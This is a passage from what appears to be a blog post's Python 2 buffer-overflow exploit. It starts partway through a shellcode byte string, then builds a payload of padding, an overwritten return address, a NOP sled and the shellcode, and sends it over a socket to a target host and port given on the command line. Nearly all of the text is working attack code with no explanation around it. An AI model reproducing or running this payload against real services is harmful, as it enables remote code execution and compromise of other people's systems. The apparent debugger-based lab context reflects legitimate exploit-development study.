"\x7c\xa9\x6c\x4b\xbd\x34\x6d\x1e\xf9\x12\x7d\xe6\x02" shellcode += "\x1f\x29\xb6\x54\xc9\x87\x70\x0f\xbb\x71\x2b\xfc\x15" shellcode += "\x15\xaa\xce\xa5\x63\xb3\x1a\x50\x8b\x02\xf3\x25\xb4" shellcode += "\xab\x93\xa1\xcd\xd1\x03\x4d\x04\x52\x33\x04\x04\xf3" shellcode += "\xdc\xc1\xdd\x41\x81\xf1\x08\x85\xbc\x71\xb8\x76\x3b" shellcode += "\x69\xc9\x73\x07\x2d\x22\x0e\x18\xd8\x44\xbd\x19\xc9"

req1 = "A"*1328 + " \x85\x63\x22\x65" + "\x90" * 16 + shellcode + "C" *(3000-1328-4)

try: server = sys.argv[1] port = sys.argv[2] except IndexError: print "[+] Usage %s host %s port" % sys.argv[0],sys.argv[1] sys.exit()

s = so.socket(so.AF_INET, so.SOCK_STREAM) try: s.connect((server, port)) print repr(s.recv(1024)) s.send(req1) print repr(s.recv(1024)) except: print "[!] connection refused, check debugger" s.close() {% endhighlight %}